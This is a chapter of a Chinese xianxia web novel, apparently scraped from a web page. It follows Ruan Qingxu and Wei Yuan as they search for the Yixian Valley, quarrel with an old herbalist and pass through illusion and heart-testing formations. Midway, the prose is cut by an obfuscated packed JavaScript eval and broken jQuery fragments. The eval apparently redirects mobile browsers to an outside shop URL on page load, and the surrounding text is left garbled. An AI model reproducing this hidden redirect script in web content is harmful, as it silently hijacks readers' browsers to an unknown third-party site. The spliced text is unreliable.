医仙谷因为需要种植药材,所以坐落于群山环抱之中。
没有医仙谷谷中人的带领,一般人只能绕着山打转,根本找不到进去的路线。
“这?”
阮清许看着还算热闹的村子,环顾四周后有些不敢相信:“不是说,在山里吗?”
卫源拿着从不知哪位好友那里薅过来的指路灵器,再三确定这就是据说呆在深山老林的医仙谷。
“哎哟!小伙子成亲没有啊!”
扛着锄头的大娘从地理回来,便见到两个长相俊美的男女站在他们村里,做媒的心顿时起来了。
卫源往阮清许身后躲了躲,道:“没成亲,未婚妻在这。”
大娘看了看清清冷冷的阮清许,也不尴尬,道:“哎呀!我就说怎么看起来这么登对!”
从见到这两人时,大娘就把主意打到了卫源身上,因为阮清许看起来就不是他们家这些平明百姓养得起的。
“大娘,我们从别处来的,迷了路,能请你给我们指条明路吗?”
卫源凭借着一张大娘见了就想做媒的脸,和大娘套信息。
大娘乐呵呵地给他们指了出去的方向,低声嘀咕:“难道不是来找药老头的?”
什么药老头?
两个修行之人耳目灵敏,这点音量有怎么瞒得过他们二人。
阮清许碰了碰卫源,卫源再次发挥美色,问道:“实不相瞒,大娘可听闻哪里有神医?我家那位脸僵了,做不了神情。”
卫源越说越小声,大娘随着卫源的话悄咪咪往阮清许看去。
注意到大娘视线的阮清许友好的提了提嘴角,扮演一个木头人。
“这事你们直接找药老头啊!”
见不得天配的小夫妻造此劫难,大娘更是感同身受,换做自己要是日后开心不能大笑,难过不能大哭,难受得要命。
大娘说完,又怕这对小夫妻高兴太早,提醒道:“不过药老头脾气古怪,不一定答应,但你们可以多求求他,他很心软的!”
问到这里就差不多了,卫源从以前阮清许囤零嘴的戒子里拿了一包点心、一壶从梅城带走的酒给大娘做问路的报酬。
根据大娘的指路,药老头就在村子后面不远的山丘上。
当两人再一次拨开比人还高的杂草是,阮清许开始怀疑大娘是不是记错了。
卫源拧眉在路过一侧杂草丛生的小道时,伸手做了个标记。
两人从天明走到薄暮,当卫源再一次见到自己做的标记时,便知道,他们被困住了。
“是阵法。”
卫源拉着脸色已经不耐烦的阮清许,指了指旁边被刻了个符号的叶子,道:“从这里走。”
自从神魂无法归体的阮清许变得非常容易暴躁,但好在每次卫源都能精准接住她。
“这老头是不是早就知道我们要来?”
阮清许揪了一把野草,握在手中揉捏。
“应该不是。”卫源把被草绿色的汁水浸染的手擦干净,又将一块漂亮的灵石塞到阮清许手里。
卫源边在前头开路,边留意阮清许的神情,见她比方才要平静了些,才稍稍安心。
他们被困的阵法并不高明,是非常常见的幻阵,卫源之所以没能第一时间察觉,应该是布阵之人在原有阵法上进行了改良。
知道是幻阵后,破解对卫源来说简直轻而易举。
阮清许不知道交界线在哪里,只知道在卫源的指示下,一脚踩过某一处土地时,眼前的景物发生了变化。
身后还是幽暗的也林,眼前确实挂着灯笼看起来十分温馨的小屋。
屋外有个老人正踩着药碾子,用最古老的法子研磨着草药。
“进医仙谷往右边走。”
药老头眼也不抬,丢出一句话。
阮清许这才看见右边挂了一块字迹不清的木牌子。
“天色已晚,先生可否先收留我们一晚。”
卫源才说完,埋头不理他们的药老头眯着眼打量了他们好一会儿,道:“我到时不知,修行之人还怕夜幕。”
见没被立即拒绝,卫源和阮清许便踏入了小屋范围。
“一晚五十灵石。”
两人才找了块空闲的地方准备打坐,药老头突然坐地起价。
五十灵石,比阮清许他们之前住过的所有客栈加起来都贵。
阮清许没忍住,一根树藤从身后飞出,冲向药老头:“这么贵!你怎么不去抢?”
药老头抱起药碾子躲得飞快:“哎!你这女娃娃,脾气忒不好!”
一旁的卫源没拦着,反倒是把自己本命剑丢过去给阮清许。
阮清许提着剑,耍着刀法,药老头举着药碾子,两人打得有来有回。
“你还想不想进医仙谷?得罪了我,就没人给你们带路了!”
阮清许攻势越发猛烈,药老头有些招架不住,一个闪身消失不见。
心中的郁气被发泄了大半,阮清许又不是真的要去药老头性命,便也没有去追。
“开心了?”
卫源把剑收起来,拿出赶紧帕子擦了擦阮清许方才打斗时沾在脸上的灰,道:“要不要我陪你打一场?”
阮清许挑眉:“好啊!我不拿武器!”
或许是真的没有一起切磋过了,卫源也来了兴趣,往后退了两步,拉开了距离。
“那个.......”
就在两人起势时,一道弱小的声音从外面传来。
“我来取个东西......”
都已经睡觉却被药长老薅起来,赶鸭子上架般出来取东西的小弟子欲哭无泪地扒着篱笆。
药长老也没说这里有两个人在打架啊!
生怕自己被波及地弟子低着头,在两人地注视下,快速地进屋,然后关死房门,再也不出来。
被这一打搅,阮清许和卫源兴致减半。
“咚咚咚”
阮清许恶趣味敲着门,道:“要不要出来一起吃个东西?”
里面门窗紧闭的小弟子抱着他们长老的身家,埋头装死。
“或者你和我们说说,医仙谷怎么走?”
冷白的月光打在阮清许身上,生出的影子便落在门上,配合着阮清许的动作,让里头的睁眼不敢睡,害怕被暗杀的弟子硬生生见识了什么叫可怖。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792855|209422||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“你....你们.....要去医仙谷......走右边那条道,闯过去......就有人来接你们了......”
弟子此刻终于懂了,为什么谷中有些师兄弟哪怕修行在他之上,但听见这些鬼魂之事,便变得胆怯无比。
没能听见第二个答案,阮清许非常失望。
卫源在弟子的惊恐中,终于大发慈悲让阮清许收了手。
“黑暗,是最好的掩护!祝你好运,这位朋友。”
走都要走了,阮清许还是恶劣地留下意味不明地话,让本就惴惴不安的小弟子这一晚上都不敢闭眼。
医仙谷的阵法目的只是赶客,并不是要取人性命,所以就会格外难缠。
“是不是有病?”
阮清许再次把扑过来的食人花一脚踹了出去,恼怒低骂。
卫源趁着这空隙快速在周边查看有没有出去的地方。
但是,非常遗憾,医仙谷一开始的目的就是根本没打算接待这些要闯阵法才能通过的客人,所以,踏入这个阵法后,都只有一个结果,那便是失败。
既然没有门,那边自己开一道门。
阮清许升到半空,卫源每报出一个点位,一支灵力箭便完美准确地落在点位上。
“最后一步,玄火阵,开!”
以卫源为中心,八条火龙从四面八方烧了过来。
亮堂堂地火光映在阮清许脸上,因为应激而显露出本色地手指轻搭在弓上,另一只手夹着灵力凝出来的箭。
没等卫源的火烧到阵眼,暗处观察他们两人的人忍不住制止这场无妄林火,且顺便把这两个祸害转移到另外一个阵法中。
“我就说这两个小鬼难缠的很!”
阵法外,两个老头凑在一起嘀嘀咕咕。
“没事,功力再怎么身后也逃脱不了问心阵。”
“还是你阴险!”
......
元婴跨洞虚时,天雷之下的观心境卫源都能全身而退,这小小一个问心阵更是不放在眼里。
但他担心阮清许。
阮清许看着眼前万人恭贺的场景,耳边满是“恭贺阮道君大功告成!”,可疑地沉默了一下。
如果她没记错的话,她现在还在去医仙谷的路上吧?
阮清许在清醒和沉沦中,选择的清醒地沉沦。
问心阵,是将心中深藏的欲望无限放大后,吾身与吾身的周旋较量。
是否真的成就大道,阮清许不在乎,她只想通过这个阵法,知道到底是谁把她害成这个人不人、鬼不鬼的样子的。
问心阵是读取了入阵者的记忆后,再用读取到的记忆进行重新打乱构建,所以阮清许的想法并无道理。
对于恭维的人,阮清许走马观花,敷衍了事,一双明眸探寻着每一张熟悉或是不熟悉的脸。
“这边!”
在所有人都往一个方向走时,有两个人格外惹眼。
阮清许皱眉回忆其中一人熟悉的身影,她总觉得她与这人关系非同寻常。
“小声些!一会把人喊来了!”
两人自以为非常隐蔽的偷偷溜走。